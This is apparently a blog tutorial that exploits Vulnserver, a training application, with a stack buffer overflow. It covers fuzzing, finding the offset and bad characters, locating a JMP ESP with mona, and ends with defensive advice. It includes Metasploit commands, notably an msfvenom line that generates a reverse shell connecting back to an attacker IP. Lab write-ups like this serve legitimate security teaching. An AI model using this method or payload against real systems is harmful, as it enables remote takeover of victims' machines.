What is Buffer Overflow Attack and How to Obtain Reverse Shell Using Buffer Overflow Attack.

Image Source: https://www.invicti.com/blog/web-security/buffer-overflow-attacks/

Hello, I will talk to you about buffer overflow attack and how we can get a reverseshell to execute code by taking advantage of this vulnerability, and I will show you this in practice.

Requirements;
-> Kali Linux or parrot OS
-> Windows Endpoint
-> Immunity Debugger(https://www.immunityinc.com/products/debugger/)
-> Vulnserver(https://github.com/stephenbradshaw/vulnserver)
-> Mona(https://github.com/corelan/mona)

To briefly talk about buffer overflow, it occurs when a program writes more data to a memory area (stack) than that memory address can hold. This overflow data is written to addresses near the memory address. Buffer overflow attack occurs by injecting the malicious payload to this overflow part and executing our code in memory.

Image Source: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1

If an attacker can bypass a program’s input checks and print more data than expected onto the stack, this will cause a buffer overflow. This excess data can disrupt the flow of the program and even lead to execution of pieces of code requested by the attacker.

The reason why this attack is usually done on the stack is that the stack structure is more suitable for this attack. Let’s talk a little bit about the stack.

Image Source: https://www.programiz.com/dsa/stack

A stack is a fundamental data structure in computer science that follows the Last-In-First-Out (LIFO) principle. It is a collection of elements with two main operations: “push,” which adds an element to the top of the stack, and “pop,” which removes the top element from the stack. Additionally, a “peek” operation allows you to view the top element without removing it.

Imagine a physical stack of plates. You can only add or remove plates from the top of the stack. The last plate you put on the stack will be the first one to be removed.

Key characteristics of a stack:

  1. Push: This operation adds an element to the top of the stack.
  2. Pop: This operation removes the top element from the stack.
  3. Peek (or Top): This operation retrieves the top element without removing it.
  4. Empty: Indicates whether the stack is empty or not.
  5. Size: Returns the number of elements in the stack.

The analogy of a call stack in programming is often used to explain the concept. In a call stack, each function call is added to the top of the stack when it’s invoked and removed when it completes its execution.

Stacks are commonly used for various purposes in computer science and programming.

Now let’s move on to how to perform a buffer overflow attack.

Let’s go to the windows endpoint and run the Immunity debugger. Then, let’s select the “Vulnserver.exe” file from the place I indicated with the red square and open it.

Let’s run the application again by pressing the Play button that I show with the red square.

If I have to talk about Vulnserver at this point, we can say that Vulserver is actually a vulnerable application prepared for education. we are gonna test buffer overflow using this application.

Now we will use a simple Fuzzer written in python that named stats.spk to test how many bytes the buffer can hold.

We run the chmod +x<Filename> command to grant execute permission to our file.

Note: You need to write the victim IP address to where i deleted in the image

Now let’s run this fuzzer in Kali and see how many bytes the buffer can hold and then overflow will occur.

As you can see, after writing up to 2100 Bytes, overflow occurred, as can be seen in the error on the Immunity Debugger, that is, the buffer area was exceeded.

Now that we have found the value that the Buffer can take, we need to create a pattern to find offset value. We will use the tool of the Metasploit framework for this.

Bash
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2100

At this point, it may be necessary to modify the script a little or you can create a new script. With this script, we will find the address shown by the EIP, that is, the extenden instruction pointer.

Let’s run the script and see the value of EIP on the Immunity debugger.

We have now found the location of the EIP, that is, the address to execute next. Then we can determine the offset address and place the malicious code in the memory address.

Now let’s calculate the offset address. For this, we will use Metasploit’s tool named pattern_offset.

Now that we have found our offset address, let’s try to write something different to that address and see if we really find the right address. 🙂

When we run this script, it now writes IILA instead of ALII as the text equivalent of the ASCII value that will come after the 2003 offset. Because this is a Little-Endian structure, it is like this. In little-endian, the least significant byte comes first.

As we can see, we have obtained the text IILA, that is, we have confirmed that we have found the correct offset.

In many programming languages, certain characters have special meanings when writing or reading data from memory. For example, in languages such as C and C++, the null byte (‘\0’) is often used to indicate the end of an array or string of characters.

For this reason, if we come across one of these characters, our malicious code will be split and will not work as we want. That’s why we have to control it. Let’s check this by adding the following characters to our code.

badchars = (“\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f” “\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40” “\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f” “\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f” “\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f” “\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf” “\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf” “\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff”)

After running the script, we see that we do not encounter such a badchar in Hex Dump

From this point on, we have to find the module that no longer has memory protection, and for this we will use the Mona tool.

We need to put the “Mona.py” script in the Mona Tool we downloaded into the source files of Immunity Debugger. The exact path you need to put in is: C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands

Then, by typing !mona modules in the command section at the bottom of Immunity Debugger, we saw which modules this application uploaded and which ones did not have Memory protection. As you can see, there is none of these memory protections in 2 modules. These are actually our invitation points. We will continue with essfunc.dll

To briefly talk about what these memory protections are,

  1. Rebase (Memory Relocation): It’s a technique used by software or an operating system to adjust the location of dynamically linked executable files (such as EXE or DLL files) in memory to achieve better memory usage and faster loading times. This involves placing files at different memory addresses, reducing the risk of applications or components overwriting each other.
  2. SafeSEH (Safe Structured Exception Handling): In Windows operating systems, it’s a technique aimed at making the Structured Exception Handling (SEH) mechanism more secure. SEH is a mechanism that helps applications handle and recover from errors. SafeSEH enhances the secure use of this mechanism, making it more difficult for attackers to exploit the SEH table.
  3. ASLR (Address Space Layout Randomization): ASLR is a security mechanism in an operating system that randomizes the memory locations of executable files and system components. This makes it harder for predictable attacks to succeed by making it challenging for attackers to guess specific memory addresses, thereby making memory-based attacks more difficult.
  4. NXCompat (No-eXecute Compatibility): This feature is used by an operating system or application to protect memory regions from executing data or code. It prevents attackers from executing data in memory as code, thus making memory-based attacks more challenging.
  5. OS DLL (Operating System Dynamic Link Library): These are libraries provided by the operating system that enable applications or other components to use operating system services. These DLLs typically facilitate access to various functions of the system and allow applications to utilize operating system resources.

Now we will need to locate the JMP ESP. The reason we found this is to have an executable command redirect to the memory address to get the payload to run.For this, we will again use metasploit’s nasm_shell.rb tool.

Now let’s go to the value we found on the Immunity Debugger again. The command we will use for this is “!mona find -s “\xff\xe4” -m essfunc.dll

Next, let’s call this address and leave a pointer there.

Let’s write our address on the screen that appears and go to that address and leave a breakepoint there by using the F2 key.

Now we can continue over the first address of the pointers we found. Let’s go add this to our script and see if we’re in the right place.

After running the code, we saw that yes we are in the right place.

Everything is ready for us to embed the Reverse Shell shell code, but for this we will use the Metasploit framework and this shell code must be in hex format.

The command to generate the shell code in hex format is as follows.

msfvenom -p windows/shell_reverse_tcp LHOST=<AttackerIP> LPORT=4444 EXITFUNC=thread -f c -a x86 -b “\x00”

Replace <AttackerIP> with the IP Address of your Attacker Endpoint and run it in Kali to get the hex code and put it in our script

Then let’s add this hex code to our script.

Before running the script, let’s go and listen to port 4444 as we defined in the MSF payload, and then run our script.

To explain to you some of the points that need to be considered in order to be protected from buffer overflow attacks;

Fundamental Level:

  1. Secure Coding: Adhering to security principles while developing software is crucial. Validate input data, avoid exceeding valid boundaries, and focus on secure processing.
  2. Memory Management: Properly allocating and releasing memory, as well as avoiding memory leaks, can help prevent buffer overflows.
  3. User Input Validation: Validate user inputs and sanitize them before processing to prevent malicious data from reaching the system.
  4. Memory Protection: Operating systems and programming languages often provide memory protection mechanisms. Enabling and utilizing these mechanisms can reduce the risk of attacks.

Technical Level:

  1. Stack Canary: Using mechanisms like stack canaries to monitor stack memory at runtime and detect changes can prevent stack-based buffer overflows.
  2. Address Space Layout Randomization (ASLR): Randomly placing memory regions’ locations makes it harder for attackers to predict target areas.
  3. Limited Input Control: Using secure APIs and functions to restrict and filter inputs can reduce potential attack points.
  4. Memory Segmentation: Separating memory regions from data can prevent the spread of attacks.
  5. Software Updates and Patch Management: Ensuring your software and systems are up to date can make it more difficult for attackers to exploit known vulnerabilities.

Helpful Resources:

  • https://corruptedprotocol.medium.com/buffer-overflow-vulnserver-4951a4318966

Posted

in

by

Tags:

Comments

Leave a Reply

Your email address will not be published. Required fields are marked *